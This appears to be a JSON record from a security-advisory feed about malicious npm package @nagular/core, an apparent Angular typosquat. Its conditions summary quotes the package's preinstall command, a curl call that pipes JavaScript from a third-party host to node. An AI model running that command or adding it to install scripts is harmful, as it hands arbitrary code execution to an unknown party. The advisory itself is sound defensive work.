{"items":[{"id":"NVI-00009907","kind":"supply_chain_event","title":"Malicious code in @nagular/core (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-wxf9-85p5-gwhp"],"plain_summary":"GitHub lists this malware advisory for @nagular/core. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-8f521a73df9abd82570101dcd73dc459"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-8f521a73df9abd82570101dcd73dc459","url":"https://github.com/advisories/GHSA-wxf9-85p5-gwhp","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-wxf9-85p5-gwhp","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-8f521a73df9abd82570101dcd73dc459"],"technology":"@nagular/core","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557)\nThe package's package.json declares a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from an unrelated third-party host (gitflic.ru proxied through web.archive.org) and piping it directly to node for execution during `npm install`. The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path `hellscripter/install-scripts` and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The scope name `@nagular/core` additionally resembles the Angular ecosystem (`@angular`), consistent with a typosquat lure, and the preinstall hook is the package's only functional content.\n\n---\n\nCredit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647","public_affected_ranges":["= 1.0.67"]}],"null_published_at":"2026-10-31T22:13:39.952Z","source_updated_at":"2026-10-06T00:34:12.000Z","source_disclosed_at":"2026-10-05T00:30:37.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"42594"}